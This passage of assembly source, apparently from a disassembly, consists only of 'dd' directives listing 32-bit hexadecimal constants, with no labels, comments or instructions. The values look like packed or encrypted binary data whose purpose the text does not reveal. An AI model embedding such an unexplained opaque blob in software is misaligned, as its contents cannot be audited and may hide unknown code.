0BA6FC985h, 908B7938h dd 0CA718D0Fh, 46F70Fh, 85335C3Dh, 98195EB5h, 9010F70h dd 9237AD0Ah, 0E22F9087h, 90FD9771h, 0E70382A8h, 0DB99C63Dh dd 0D1CD80F1h, 0E139B031h, 0CAB612Eh, 0A424C8FEh, 345AEF0Ch dd 0B06AC580h, 6B85174Bh, 55C095Fh, 0B727C5D9h, 0C671276h dd 0B7492185h, 7368FC03h, 10C62218h, 1F81FAF2h, 3996EB8Ch dd 0F9B839A9h, 8DE8400h, 0B3C1E445h, 177A9890h, 53827CBh dd 0A90DADBAh, 0EAA5ECF8h, 858904BCh, 0BE18BF99h, 0DBC0729Bh dd 0E922EB0Bh, 0FC024725h, 0B01F417h, 532CB680h, 0BE28E676h dd 0C0F9C09Fh, 890D1A3Fh, 8A07EA1Ch, 73E40B7Ch, 6A33F65Ah dd 0CD911A7Bh, 3B87FDB7h, 1804C7A4h, 2D647BBAh, 0D6EA1070h dd 95B5358Bh, 311C0A97h, 0C458957h, 3F4427Eh, 4B60021Eh dd 5A101627h, 89352D7Dh, 9524FE04h, 9A4B078Ah, 649F8245h dd 77E05DE1h, 45B4689h, 0DA90679Bh, 0E45EAC4Ch, 99EC2BBBh dd 6096B7C0h, 2C2C1BB8h, 11C54597h, 7FFC4A02h, 0BF052748h dd 0F6964BE3h, 0F58E00Ah, 82DF5EB7h, 0DEDE3D18h, 0FF3B1891h dd 0E88620C8h, 3F63D04h, 8EF01F4Eh, 8EB28B0Ah, 0E684185Dh dd 0BB50012Ch, 7310281Ah, 7581BF8Bh, 32E19CB0h, 50196085h dd 3A2EB352h, 5383310Fh, 585A5F5Bh, 9E05608Bh, 9785C981h dd 23519606h, 8BBF07A1h, 640CD483h, 7EDC8D8Dh, 527246Eh dd 3384AAD9h, 87A171BDh, 0D83ADBFEh, 280E3625h, 45F9E599h dd 0ABD94E19h, 5B5DC120h, 13EDA207h, 682920C6h, 3C6A3Ah dd 9D430B93h, 0AC9FDEFh, 0E19BD2Bh, 2474A19Ch, 0CE3100A1h dd 85C77893h, 5CAE62B9h, 0B291D42h, 4BB27208h, 272FD226h dd 0BDC87ECh, 56EEE912h, 0B8AEADB4h, 24FF73B9h, 0F25FBA6h dd 30637CCCh, 4483110Ch, 0E8C10198h, 0ED4107Ah, 124C3F8Ah dd 0E4D05803h, 0DD36EBE7h, 6443E036h, 1B63E19Eh, 28293450h dd 58180C21h, 57D00113h, 2693901Bh, 4D08BDC0h, 0B99D8934h dd 0B6D16BE2h, 0D8012E00h, 0F7E65Eh, 6E8CF65Bh, 0EEC6F854h dd 388D1C25h, 0E9B78522h, 4371C348h, 3A4C41Dh, 3117AEAh dd 6DFC88B6h, 996610B0h, 5FE5123h, 0AA6EBB33h, 0E5712801h dd 20D4CF80h, 1040E168h, 1288250Fh, 72E1EA7Eh, 8DC47D2Dh dd 644B9C53h, 3F4AD55Fh, 1B23EDh, 0BDD3A2C9h, 0F02CF3ACh dd 1060A6BAh, 7D4BBE2h, 0DD58AF41h, 0B9EFF79Fh, 0C72D1B02h dd 4E18C5Fh, 0F1BD1303h, 3408212Eh, 0CD6E2F24h, 4987B100h dd 414CB8EBh, 4FB57756h, 7C2A4AC2h, 0F504F35h, 138D31FCh dd 93890951h, 1C26D883h dd 2C598519h, 2F02F66Ch, 0E09B0A27h, 0BFCE9B3Dh, 0CA7A51D0h dd 1C90B5A6h, 36300DC9h, 0D8493C40h, 27AA0116h, 0DC79FDDFh dd 89482058h, 0C48687A0h, 0DB8135C0h, 4FD92146h, 9A687461h dd 16C0C0ADh, 9FC0262h, 1EE3BC2Fh, 0DF07A081h, 0C29420F2h dd 2AF0044Fh, 200C41A5h, 0FA7AB77Eh, 0B320500Bh, 581C024Eh dd 0C9D4FAD4h, 0B85DB8AEh, 25D479h, 340B463Ch, 41158113h dd 9CC49E00h, 0AB764E92h, 0FF470586h, 0B831B529h, 916595E1h dd 0F8C759F4h, 0B3704AC9h, 6B4A510Bh, 0F780E8D0h, 6BCDBEA6h dd 527059D3h, 54C11D98h, 66264135h, 3033A259h, 0F980133Fh dd 0E504F96h, 0F6D789F3h, 0D122E1C9h, 0A537530h, 0FE8BDD45h dd 961CE8Fh, 884244F7h, 10729D0h, 3C8DF3BBh, 65813062h dd 5E11EEE1h, 2D375FA5h, 929A9D00h, 3C4F576Ch, 778281B5h dd 501C5C1Fh, 0F40FF4F1h, 0B249AF98h, 60A3FF56h, 8C91A200h dd 5CB2B913h, 0E1375E6h, 0FE3399B8h, 26B5C8E8h, 0F1240087h dd 0AB83019Bh, 4A0AC79Dh, 815BF453h, 0F8F781C0h, 0A0D0722Dh dd 80043982h, 0A305BF60h, 910F537h, 481986C6h, 0B9A42F61h dd 3FA8A2h, 8C7CB299h, 718D010Ch, 84442C4Ch, 2FE60DCDh dd 11758A00h, 73B89833h, 0D9E7EE01h, 0FC617763h, 5D6D042Bh dd 0D1020A28h, 9043C11h, 0C8186585h, 27D74958h, 5F8B386h dd 24C212E4h, 2D7AEFC6h, 0B64B8D16h, 736E5869h, 0F9C22341h dd 252B9133h, 0E97F489Dh, 0F3F25BA7h, 7A6A5F90h, 5584704h dd 7495822Ch, 1BCFEEE8h, 43342FF9h, 394304FFh, 11E91013h dd 3060182Dh, 6880ED7Ch, 0A624505Eh, 3F2191C0h, 0E4B40075h dd 9BB32C96h, 0BA05D2EBh, 5FF4B5A4h, 0F70E81AEh, 47E206Ah dd 0D09B244Eh, 0CE4BA81h, 63E14460h, 0C14A899Bh, 0E62BE087h dd 1098BEh, 332BA79Fh, 2187991Ah, 54D1F4C2h, 788AFB19h dd 0E33DC667h, 0DEA78028h, 95892C49h, 1ED19719h, 50A098AFh dd 0FD8E67B3h, 6090B931h, 0A4A810Fh, 0C62E29Ch, 505EBA8Ch dd 9513019Eh, 0A3240B7Dh, 89C202B8h, 0FAF6058Dh, 9FF26625h dd 0FE1D3137h, 0C7707800h, 4A80FB67h, 14E4E0C6h, 105CDE82h dd 0D1FF161Ah, 0B14A7BBCh, 1E282EE1h, 7A6FE15Ah, 5F5B01E8h dd 94E0E33h, 8903CC60h, 69929402h, 8A3093ABh, 4CE3498h dd 9A807FD7h, 0F404A827h, 0ADA1C252h, 621D672Eh, 0FE2228D5h dd 0DB201C0Ch, 40F29E54h, 36FE765Bh, 722C733Ah, 0E32F15F0h dd 7391FB01h, 92D0C0D0h, 0E9E81A62h, 28710923h, 7927BBA0h dd 5E053A13h, 9402D4C0h, 0DCC686F8h, 0C1E65C3Fh, 2A41B509h dd 942B0289h, 92D1ADF2h, 60F32200h, 95800F69h, 0FE9287D1h dd 0A84CD3E3h, 0EA706A27h, 0E92B5954h, 8A983AFFh, 0C1A50289h dd 7F16D7DFh, 77BDDAC0h, 0F9448B03h, 0C77BA8E6h, 119F7369h dd 31D9490Ch, 259546B0h, 75109023h, 70E61724h, 854A88h dd 3BFFA1B1h, 5A4984E2h, 62E8E44Bh, 8818D5C0h, 5E004D9Eh dd 0FA8C22C1h, 7DF0A6B6h, 12DA7597h, 0E45FDF8Bh, 988C8C5h dd 0E31D4D8Dh, 0B3C1C14Ah, 18B62B7Eh, 202B3E51h, 0C99FBBC6h dd 0F0132326h, 70F9C837h, 0E4F55FC1h, 25449D16h, 81C8002Bh dd 1BD39D7h, 0D1048B59h, 49B58952h, 0E95B9391h, 0F92C3562h dd 3BCB2D6Bh, 56962DFh, 7255264h, 24C0C457h, 62EEC36h dd 205B8A14h, 9D19EAB0h, 86CF11C9h, 0B312FA3Dh, 109EE462h dd 3EC1BF88h, 0E9133555h, 0E1D88841h, 0CD2A2041h, 516341ECh dd 9D622E2Ah, 0DE919826h, 14A6E666h, 1CA583BEh, 1257FE12h dd 315DE54Fh, 0AB206E28h, 257911BBh, 9ACC31DEh, 0BDE1BC20h dd 83C11D6Dh, 0C7F93F5Eh, 5990F220h, 0A64C1A02h, 5F9D610Bh dd 46D66E76h, 1B4E0517h, 9814BE76h, 0B99840B2h, 0BD0DD22Fh dd 1C7902DAh, 0A482CC06h, 955C0ADCh, 823EBB01h, 86231316h dd 0A280B700h, 6CF5B4E4h, 0FC4D01ECh, 20112DEFh, 6DADF705h dd 9BC04F2Bh, 4D6380CAh, 0D49BB51h, 5B700AB5h, 58922AECh dd 80D890BAh, 8F8D4BDBh, 0DD745089h, 239E105Bh, 894B897h dd 800CE97Ch, 1481B0D1h, 0CC021692h, 5F1D4AB1h, 2D935C85h dd 8D0099BDh, 0D97379DAh, 6B2EFD27h, 12142398h, 4A8AE310h dd 49D369CAh, 4C3D25DFh, 8F4CBE82h, 0D4097569h, 5A442859h dd 7BE78140h, 20E3657Fh, 0FC1CDB17h, 0FB2DB88Dh, 98DF803Dh dd 7C1F66C4h, 0CEADEB09h, 0C9347EAEh, 23921959h, 59131209h dd 336DA7EDh, 85042245h, 0DC142F15h, 0B26DA912h, 41A85F2h dd 0F301F87Bh, 6E136B20h, 6655C291h, 2E8D00AFh, 6770D853h dd 6E0F81CAh, 4F5B1D37h, 2FF1CB01h, 0AE21266h, 6E85EC8Dh dd 560A2682h, 0A5A371EEh, 0DEA15C26h, 7FD02302h, 77DF4983h dd 772FA710h, 36A40D06h, 0F8AD89h, 985D6A0Ch, 8804E5B2h dd 0F8604A14h, 89E8C0EDh, 1CA7BBFh, 327EB85Dh, 0C89C6FADh dd 3254DB5h, 56FB6226h, 0CF17DCCFh, 1C043110h, 8D1221C9h dd 2122B03h, 0AA80B8DBh, 7B8B8C29h, 0BBDE7601h, 3EEE8D03h dd 120D482Eh, 40E5ED6Bh, 14F31061h, 906AF3BEh, 99AA1A02h dd 57905536h, 207DC3E1h, 96112E12h, 34FE2B3h, 0C9EB8113h dd 3F3409B9h, 4F1C6h, 310F5B56h, 585AEAB7h, 0A550ABB5h dd 0AEE28A74h, 0B1D0E301h, 0B5F8182Dh, 5EAC1ECEh, 0F581F3A0h dd 7A3BB700h, 0D62A9CBCh, 0EFE80002h, 68B4735Eh, 402DFD3Ch dd 6689627Bh, 14EE9F24h, 0BB8ECD60h, 0E56F3668h, 0E83298B2h dd 0C98A10h, 0AEEE08E1h, 5A802C9Dh, 921635C1h, 6102379Ah dd 0C309E07Fh, 7B5F28FEh, 9530BA0h, 4EEE64C9h, 0D47B94h dd 4E550DAEh, 3641FD37h, 0F88BAC12h, 0E94FBDB3h, 7049CFB3h dd 908FE912h, 0F95BB3Fh, 7D729A95h, 12097004h, 0DB5E5BA3h dd 0E5E893EEh, 0B5618688h, 0A80412BDh, 27E69664h, 67A255F0h dd 0F7A4EC04h, 42F09D39h, 87BB9525h, 1041D81Ah, 0F367800Dh dd 499CA8BCh, 0B8E734Fh, 0DBE0ADA9h, 0B7BD4689h, 91A0834Bh dd 0CDE8E362h, 6D197E2Dh, 7DFC60CAh, 0B9669F81h, 6E610746h dd 18161025h, 0FF866C9Bh, 2169FCD5h, 0AF3C51E5h, 0B8C08C6Dh dd 5B852956h, 687A80A9h, 4C2DEAD0h, 0D5330AF0h, 0D2192F02h dd 709BFB0Fh, 701643F0h, 8AE11BB8h, 8140302Ah, 501589CFh dd 269043F4h, 6DAF0FFAh, 2F3CC07Dh, 0FC0A1B7Ch, 9753BF66h dd 0A9086D88h, 718BA8C8h, 0C0614AE1h, 0F4DAD99Bh, 0ED2D2AEFh dd 0F205C52Bh, 0DE358927h, 23EF608h, 8BD801BCh, 8EAF87A7h dd 669AC88h, 2D39512Fh, 0F0F98D9Ah, 601C26D7h, 55A05B79h dd 4BDF833Bh, 38096AF0h, 18DC01BDh, 45C85E0h, 671AC487h dd 300E7DC0h, 86262E72h, 0CED09D1h, 27C20659h, 0CB86D604h dd 10607054h, 905B31BEh, 0C038B683h, 0CFDC01CBh, 0D68D1B4Ah dd 41B98360h, 62800D05h, 0C91E0947h, 0AED0533Dh, 7E09D47Ah dd 829DFF33h, 0B0DD131h, 198BEE6h, 0CC24B127h, 1AD99782h dd 0BFF88312h, 0C196809Dh, 0AC9E592Ah, 0AE58CA0Bh, 5B5DB167h dd 887E50C5h, 220B2AF1h, 6434C727h, 43520608h, 0BCF9891Ah dd 0B79F24FAh, 20770043h, 43D8CC0Fh, 4197C0E4h, 0DEAF526h dd 42D16EF0h, 0C94DD88Ah, 0F16F3Fh, 254E891h, 13D326Eh dd 0FBBF3B63h, 2B6DBD11h, 0BBBD2835h, 0F601D7B8h, 6B231420h dd 373071D4h, 1994907h, 398C1BB8h, 3B02FA33h, 0BFE2ACF6h dd 7D9F982h, 0B3E26B56h, 492856FBh, 8998B7FDh, 4B85F8CEh dd 0B70F944Dh, 0ACD14915h dd 0C7AE0978h, 0AB845945h, 133EACD9h, 52BF9D29h, 2A39A1A0h dd 9F043734h, 39AC394Bh, 0C40FDE5Ah, 0D5826D53h, 2993A71Dh dd 8A022D62h, 41093A68h, 79EC7318h, 12321817h, 0B7FE1146h dd 0B5DA5F36h, 74DD9780h, 0DC1D1194h, 0E500EF81h, 23603F50h dd 6D12D8Dh, 2EA15DA2h, 0E4380B0Bh, 59BE0042h, 968354Ah dd 0B62CCCEDh, 9E0B7690h, 72C6460h, 952C20DEh, 81002E1Fh dd 0BF4DB9C4h, 726C9F0Eh, 995E692Ah, 0A2303007h, 594B1249h dd 82FF2461h, 9EB2D9F2h, 0B2F8DF02h, 0CD6B5156h, 4EA1C0B2h dd 136FE80Bh, 190E317h, 2FC7C8AAh, 9A570091h, 1C2B3264h dd 0D2044058h, 5FF88F71h, 35A284ACh, 0CD958921h, 0BC4AF768h dd 7C57261Dh, 61EA8A06h, 1AED9DD5h, 90DE5CC0h, 6B430A19h dd 0E28AC2B4h, 5856DA8Bh, 2BDB76Bh, 0C0617301h, 0DDA60A41h dd 0A0A3754Ah, 0CDB5375Ch, 505DE01Ah, 0BCC4BFE6h, 2F81777Bh dd 742B172Dh, 0B8E8ED75h, 0BF054896h, 958C927Fh, 48448414h dd 0A180EEF9h, 0D863601Fh, 0C604EB00h, 0C9864532h, 9BB53507h dd 8F72B866h, 279A5661h, 4EF6D6D6h, 12FFE898h, 0B2B0A80Fh dd 0CBF84A8Bh, 80286F90h, 0D4E9BF6Fh, 5AFF71F3h, 9B7C13B3h dd 825F822Ah, 88B8D5A5h, 5482191Dh, 8F7CA58Dh, 0F64600F4h dd 3C150AC1h, 72942D56h, 30F09013h, 71C883C2h, 44E8C6Dh dd 0F9608F0Bh, 0EB803DECh, 0C7E5879Dh, 0D400E4C2h, 6BB16FB8h dd 73B66072h, 2616405h, 84B28490h, 9B9FBFB4h, 4055B780h dd 1B073A29h, 0B4270982h, 35C5F93Bh, 14466F56h, 9A977E9h dd 5E1963F2h, 0CE248942h, 80BFBD5Dh, 7DB189C2h, 6155F9D9h dd 418128ADh, 0D94C7CAEh, 0B250FE16h, 0B3901EB7h, 0F57B78D7h dd 13FED390h, 4887FC81h, 3945B509h, 2A6AD259h, 5B2DF109h dd 181D79D2h, 0C1B500BBh, 0F299FF4Fh, 0D276D984h, 3720D15Bh dd 2F676FBEh, 5C690D3h, 45D11495h, 0F1FC60AAh, 0B801240h dd 26AD3E7h, 5570D6D3h, 282704FDh, 82E1B350h, 0EA29991Dh dd 4210F559h, 67000AEBh, 880C8204h, 0A05F5B62h, 25BF66DBh dd 947C1981h, 3F1946D4h, 9565057Bh, 0FCAF09Eh, 8F6A4Eh dd 0CF8CAD11h, 58BC494Eh, 0F82DC2F5h, 85C19A74h, 0E900156Dh dd 16970DADh, 80FC4821h, 76E8ED59h, 4CED890Bh, 6DD47464h dd 0C55CF20Ch, 0C01ACD2Fh, 0EAC15688h, 8F60F09h, 0E9615CF8h dd 54ADCDB5h, 0D6D58F92h, 9501BEA1h, 510A2B05h, 0C43B9C90h dd 125A38BBh, 0A7F2712Fh, 4899904Bh, 1D11A141h, 0D842292Eh dd 83ABA5BDh, 0C6D93C25h, 0E3BB033Dh, 6A575AC7h, 0B918A9E4h dd 0C1E4D43Fh, 2E2E0DF6h, 38A0C9E7h, 0C0BFD825h, 810AB126h dd 67622E5Bh, 6F642946h, 0F7426E07h, 0F8928817h, 8315CB0h dd 0E6051125h, 831E5170h, 5F252250h, 0A1965FFEh, 182563AFh dd 4BC75D4Ah, 24FC8B95h, 8077A8A5h, 0AF920F1h, 0D1CB593Dh dd 0E237EF12h, 5081595Bh, 5417D7Ah, 9BBC430h, 44D9919h dd 0FC456170h, 0A13680DAh, 37D431h, 697B34B3h, 6B27868Bh dd 0F518D809h, 401A5CE8h, 70374B50h, 0C72D6C00h, 3106CBDAh dd 5B380133h, 8529C82Bh, 0D7436F95h, 0B28B9BDh, 0E9F8D10Dh dd 81C25474h, 9DC20E27h, 851002E5h, 191BD18Dh, 0E0F50070h dd 963231D7h, 5E04CBF2h, 4B5BDAB7h, 9D2742AEh, 0A55C0FC1h dd 9A013CB8h, 56123389h, 2624918Dh, 7125B860h, 232F40DCh dd 32005F54h, 15A830C4h, 22BB4D2h, 61FC2D4Eh, 0B7993EE9h dd 98C6FDFh, 9C1197F8h, 0A385082Bh, 85A5FA61h, 0E102FE16h dd 0E2FF3FD3h, 51790414h, 3A31CDFBh, 975F1BCCh, 0F145A130h dd 0E63D9Fh, 0D19BA1F5h, 1095A84Ch, 0E3FE31h, 39752260h dd 0B7EA383h, 91030C74h, 0D21D2F63h, 0F470414Ch, 0B67CB2Ah dd 2265BD2Bh, 0CA82B9B2h, 0FA55802Ch, 973E5F7Ch, 0A874790Bh dd 8AC504DCh, 0BC031440h, 0CDFC25C9h, 2E51C27Ch, 0BBFEFCE0h dd 2D1FD304h, 5FF8B866h, 1211A5C4h, 0F5A830EBh, 4C3AAA0Dh dd 8949805Bh, 59C912CEh, 545F7AFCh, 97DE20BAh, 5CC4961Eh dd 60A702C5h, 0BBE0C1A3h, 0CE16D18Dh, 0E9F88FAAh, 0AB950F20h dd 79D3DB8Fh, 58DFF0A0h, 498D4713h, 46F7ACDh, 0B8BDB23Ch dd 0C781DE78h, 3180CEE1h, 0D2E7CB2Ah, 0CCA9BCE9h, 101351B9h dd 61FC7B03h, 2838809Eh, 0A68CCE9Bh, 0B6107E0Fh, 0CB5545BCh dd 0C7AAC8AFh, 94D05200h, 686EB86Dh, 29BC0C58h, 5BC3B595h dd 58B731E2h, 47CFB7E1h, 0AB477241h, 0A79C9640h, 0CA14975Eh dd 0FA314B68h, 0ED9200DEh, 0D25209A7h, 57B05F7Bh, 57DCCD59h dd 0F5F54A5Ch, 0BBD8352Bh, 0C8014CCh, 0E1FF31CFh, 95EC92Eh dd 20B14776h, 564E045Fh, 7189FC87h, 4684284h, 42024F5Dh dd 3C51BFFEh, 4182380Eh, 0F7EDA22Bh, 928EC2EEh, 406C7EFEh dd 0BC33F5E5h, 0A83C0700h, 1480B9E1h, 5A6505C3h, 87AABFB2h dd 9D3311B6h, 0E1B578DDh, 0ABA0D686h, 1E912081h, 0A76E605Bh dd 6280DE38h, 0B766ACFAh, 8A2522F2h, 82AAC2D9h, 5526E1CDh dd 0C29688BFh, 565588h, 0FCE46AFDh, 8F5BDE29h, 4BB20E00h dd 32F77749h, 2F1A972Ch, 0FDD57586h, 9E975F4Bh, 3B8BAF08h dd 0B5A575F3h, 471304D9h, 0D28EB8E2h, 0E78074DBh, 0E9F1E276h dd 0EADCA31Ch, 6BF1DBAh, 50626885h, 32FCAD12h, 7E66F98Dh dd 68517000h, 127B96C6h, 97800F9Fh, 0A347E163h, 0E854F231h dd 96D390Fh, 0DC8CFE60h, 9BFB4003h, 0AB683753h, 8AF7C023h dd 773A97FEh, 1FD4317Eh, 4A36A995h, 10A3013Ah, 77D94A26h dd 0B3C57FF2h, 7AD82D00h, 1730CBBh, 0F1392302h, 0C80BF796h dd 59028EE6h, 0E96AAB3Ah, 9FAA1A8h, 55CE8995h, 1491FE37h dd 0CFF63C8Bh, 25327425h, 3DDFA862h, 5588803Dh, 29B9C5Bh dd 0A534BB3Ch, 9BB1045h, 0D49F02B7h, 0F814D235h, 5513B855h dd 66028507h, 7875F5BBh, 9DAC840Fh, 0BBE1626Dh, 9C300B7Fh dd 0C4408233h, 6E950C01h, 196EC419h, 92B3B922h, 0F8097DAh dd 23C0EDB5h, 9D897704h, 0B3162F81h, 0A16700F6h, 0D0210A55h dd 74F0034Dh, 0EBC69F19h, 0B6BF898h, 0F60DB0Dh, 51C23182h dd 807D1FFCh, 27E95DD5h, 0CA099DD4h, 870C9A2Fh, 0C6FB2157h dd 86A58070h, 0F78102C6h, 7063BE7Eh, 46D6C35Ch, 997D001Bh dd 9ABE0BE0h, 0BF7201F5h, 48633D0Dh, 38EE2060h, 3EB85Dh dd 6861C225h, 4B237BE2h, 2CBB3D3h, 636BC3BBh, 1DF4483Fh dd 2CFB0088h, 0C9ED8060h, 0D55EBD89h, 4A97612h, 9D56318Bh dd 8FC45044h, 235231AAh, 1393567h, 2E06E1E9h, 5661A771h dd 0C09FD52Ch, 2C6585B0h, 48049668h, 5BF5C3A4h, 2D2B15B1h dd 0F00866B1h, 763B1CFCh, 475D1729h, 0C078305Ch, 6010EDBh dd 35DCC45Eh, 0DD40EC6Ah, 975F5C20h, 50690614h, 5410DF39h dd 3013933Fh, 79AFBCC1h, 907B1014h, 0D005E21h, 25F34F05h dd 2F438CE1h, 0E94AE95Fh, 76E52F4Dh, 22E3FD02h, 75005E62h dd 784AFBC9h, 50B50F2h, 70BE4094h, 78C59B45h, 4E0BBA9Ch dd 72870FF5h, 9795980Bh, 0F5693714h, 0EE3C15Bh, 6B4BD92Eh dd 0C2093DA2h, 1C16099Fh, 4141D56Fh, 39B2CD9Dh, 0B2D2BC7Ch dd 5BA40293h, 5E76CC2Dh, 0C781601Ah, 912A4E80h, 0EB7C1646h dd 7D02BD12h, 6A4B17E7h, 62D50715h, 79D932FFh, 0CB5EA713h dd 96270C10h, 29EBE07Ah, 726B8FBh, 62973AFDh, 13870B9h dd 0A79D319Dh, 0ABF9BDCEh, 59BCDB2Ch, 7D2F181Dh, 0A40901BFh dd 4E856B32h, 0D6342E67h dd 4EBE0EC5h, 59C42939h, 328AB24h, 941A97DEh, 9456A7CAh dd 0DE1774A5h, 13A144BFh, 0F24EC4C0h, 5E2A003Ch, 0E23F9840h dd 0A9227A0h, 0BDFE281Ah, 0E4ED0F9Eh, 0DC10958Ch, 5B009EEEh dd 70D7694Fh, 13534BCCh, 6C3767h, 0ABDCC10Ah, 0B97615Fh dd 0F595059Ah, 0A0AC8E94h, 0AD10F8D0h, 0A2C44A12h, 0F80BB9Fh dd 0EE2329ABh, 0C6515712h, 8224A412h, 9E8460EBh, 8BFF970h dd 7C69FF15h, 1412DE2Ch, 0CF3017A9h, 221182h, 0A73ECFFCh dd 718D2940h, 0AAB648B2h, 21846D6h, 333A91A8h, 65985FFBh dd 0AB979589h, 303D4054h, 0B79612EFh, 1E33EC77h, 33136BFBh dd 3D241509h, 8216117Ch, 6A5A0B5Ch, 48066889h, 0A83A97BBh dd 0AD507CFBh, 0FC603822h, 91C561A5h, 0B5317827h, 8E0A34Dh dd 0BAD88A50h, 60228D9Bh, 33BBF5C7h, 3B1F5315h, 0F8D45DA4h dd 0B5BD3D03h, 0C59060C0h, 0FBC9815Eh, 61E4497Fh, 0F8BCD71h dd 4B23338Eh, 0E57CE788h, 0F09B4ADh, 0A672D8B7h, 0D0ACFB9Fh dd 4B5E9CAh, 0A6B82C3Ah, 0EF8552E3h, 23005A7Ah, 0FF788505h dd 3C984748h, 0B5AEBA95h, 713884E7h, 5308FB95h, 52C61311h dd 0D2B0B27Fh, 0E3E048A6h, 4B002F21h, 8137E2B4h, 4BE94851h dd 8BD08144h, 0C02C5AC1h, 99B6F7DBh, 7AB2ECABh, 0BE214DEEh dd 0F94B1820h, 7AEBD095h, 0AC512647h, 8A270211h, 56AFDF74h dd 8E49604Dh, 0F45B917Ah, 9526B486h, 30534D11h, 1040ED43h dd 876FB55Bh, 47B7A140h, 20E52ED6h, 14F90895h, 0E0EB8009h dd 0C551B723h, 0AA740BF4h, 0A841D9Eh, 0EB57840Fh, 0B84EC9CAh dd 0EB04965Fh, 1D85DFBFh, 0ACFED4AEh, 3FB64AD3h, 0F599C4E3h dd 0C578AD07h, 79580038h, 0C2698E1h, 4C1BEC01h, 4EBF76FAh dd 4FA74FF0h, 5B6EE350h, 90D390ECh, 0F95BBFD1h, 6ADF8B12h dd 65BCD2B9h, 0D3806200h, 81F88B5Dh, 8F760BEFh, 0C256219Dh dd 5218A588h, 0AFE065CDh, 93AB6E6h, 71EDCC92h, 6B0393C4h dd 3175AA4Ch, 0AD5F9840h, 0A43E027Ah, 473DEE69h, 1B5994C2h dd 5FA27E85h, 9DEF60ABh, 0ABC916B9h, 7381FBD1h, 69F87FBBh dd 0AA2D0F6Eh, 5E81E636h, 4AE0A803h, 9888FCA3h, 5C8D8989h dd 26A8B17h, 0BAE7AA00h, 604F505Bh, 32000FA3h, 7B91CBEBh dd 3AFE81D4h, 60B870E5h, 0D84C369Ch, 7C55C45h, 2AE4D802h dd 66575FEEh, 0FD614E89h, 8D6E4A2Ch, 67B3D800h, 0ACC4AED7h dd 759D3309h, 43216834h, 3C8E2E3Bh, 0F53AD7Ah, 7EE3D8h dd 18E8754Bh, 8A1F7825h, 0E9FCDA09h, 0C219797Ch, 0F017415h dd 1BAD0C89h, 4AF0DD9h, 0E71418F4h, 0ED9637C0h, 3D25AB63h dd 64E8CDF9h, 73D46019h, 122519CAh, 0D6B5726Eh, 5BA89004h dd 97A0688Fh, 20B440Dh, 0FCCECB01h, 0C8B707FBh, 30BFFC40h dd 7ED713F4h, 8FE2DB90h, 0A4B5E041h, 4B12631Eh, 3B14D94Ch dd 258D84B4h, 17E509C9h, 0E822BF01h, 9D6B420Eh, 0A8216D23h dd 590D0EEAh, 0CD400BBFh, 14CEF26h, 8D94BD5Eh, 0FFF980AEh dd 39C013E8h, 9F0E1205h, 0CF073DA5h, 47F77280h, 0D2AFD96h dd 0E1A6190Bh, 2619774Fh, 9584705Fh, 0E9055Bh, 6D1252E8h dd 29B237B6h, 4A39984Bh, 242E5C8Ah, 930C10B5h, 4D1061BBh dd 70E60116h, 46141CA2h, 1A3D1087h, 0E71E414h, 49952981h dd 4A322F0Ch, 0CFD0290Bh, 7E4D0997h, 377B4088h, 0B00011A0h dd 0DF217341h, 14D63D77h, 957182F3h, 6D73592Dh, 3D045093h dd 5B0C07F9h, 93D7250Eh, 886552EAh, 68684A5h, 6E1DE6Ah dd 892DC656h, 6C41D42Eh, 79970914h, 0CCBF80DBh, 0E91E2268h dd 70210E44h, 317365h, 12047710h, 54D8E7F7h, 0C82B3212h dd 0F5008EA8h, 0BFD18BA1h, 27E67EC2h, 0A444E954h, 380D2C05h dd 49EE858Bh, 3C78F508h, 0C908D97h, 0A10A823Bh, 42397229h dd 7DB0002Ah, 2666DBBEh, 0E9611757h, 7DEA9C55h, 31058700h dd 0FC81C8F0h, 0FA860054h, 431B4108h, 0F33F2EEDh, 2BCFD55Ah dd 0BD0810B6h, 84C20BADh, 7D1E2C24h, 0A3A50244h, 22447D1Bh dd 955128A9h, 0FD0C8B70h, 51785C10h, 7F60C294h, 0ED02E5BFh dd 9D094756h, 6BA95585h, 1DE03F4h, 9CCA58B6h, 95727EF8h dd 4AF905B2h, 6FA8E7B2h, 0F8FE6017h, 0F5B9490Bh, 0C5B768A9h dd 0E08B978Fh, 0A2782235h, 0D9B9D2Ch, 4F0492C0h, 8997C9FAh dd 9E79F376h, 19AACD9h, 7DD3FF0h, 0BD5DC2B8h, 0BBFEA5CCh dd 0B4BF0F43h, 0B78445BCh, 9B3B6916h, 580680BDh, 0B76AEAFAh dd 0FCEA38E2h, 90DC6D54h, 4BB77F85h, 3A5DC95Fh, 0DC80F49Bh dd 0A9831F93h, 397B6409h, 45F7BD9h, 0BC439DBBh, 6AA2D35Eh dd 0DA959900h, 0B093BF31h, 0CAB4F302h, 5E704D50h, 37BB5E6Ah dd 13C81C50h, 0AE013F0Dh, 9561301h, 9134ED85h, 0F690B55Fh dd 0C0009DBAh, 8E53C4F3h, 9FE35C9Ch, 335C9262h, 32AD5751h dd 48DE365Eh, 47534EF3h, 7C228D4Bh, 712D25A0h, 95CDA7FAh dd 5D3F3242h, 1F820662h, 3F5E2A75h, 0FE149F71h, 3922DF04h dd 0A8A23FBCh, 8F70652Bh, 7BF26386h, 43FF05F0h, 0D0BF0E71h dd 158589A4h, 0B30F6BBFh, 6000842Dh, 34619501h, 95E51B5h dd 24F59D89h, 0FCB8FC3Ch, 83A69B5Eh, 80269493h, 67B7B328h dd 7C955A99h, 7525BB6Dh, 6AEAC979h, 0B001E73Ah, 1785DDAEh dd 64604BC0h, 0C9C18331h, 5E5302BCh, 0E8175E61h, 0EAF67E36h dd 0A08E4F12h, 0A45919F7h, 4100D2ACh, 54E442BDh, 975F4C6Eh dd 105F75E2h, 559F5Fh, 0EACF0818h, 445C6FEDh, 164783Dh dd 81C409E1h, 0D42FFBA0h, 0C1F409DAh, 0FBB51CD0h, 0C971D04Fh dd 80A7FE01h, 0F014CF32h, 48DCA3Fh, 5350DE8Bh, 0FE1734AFh dd 5FC8C999h, 0D61D68Bh, 0C010FE7Fh, 40A265B3h, 5809F87Ch dd 59427BF8h, 51611815h, 0DD1F8FEh, 0F83F752Fh, 122A2049h dd 0AB025FE9h, 0E7E777Ah, 0D7640560h, 0BD29C160h, 32991C91h dd 105D08h, 8DDAE381h, 9997748Fh, 0B1715754h, 5F022CF1h dd 73273A5Eh, 0E5F1D8EDh, 0C16F7FAh, 9AA256Fh, 0DF5C0269h dd 0D57004EBh, 1DB2825Bh, 4052365Eh, 5B02C057h, 5696F89h dd 0B529D37Eh, 2DAA0085h, 979A7F44h, 3729F780h, 6E0083EEh dd 3188D2C1h, 97051DBDh, 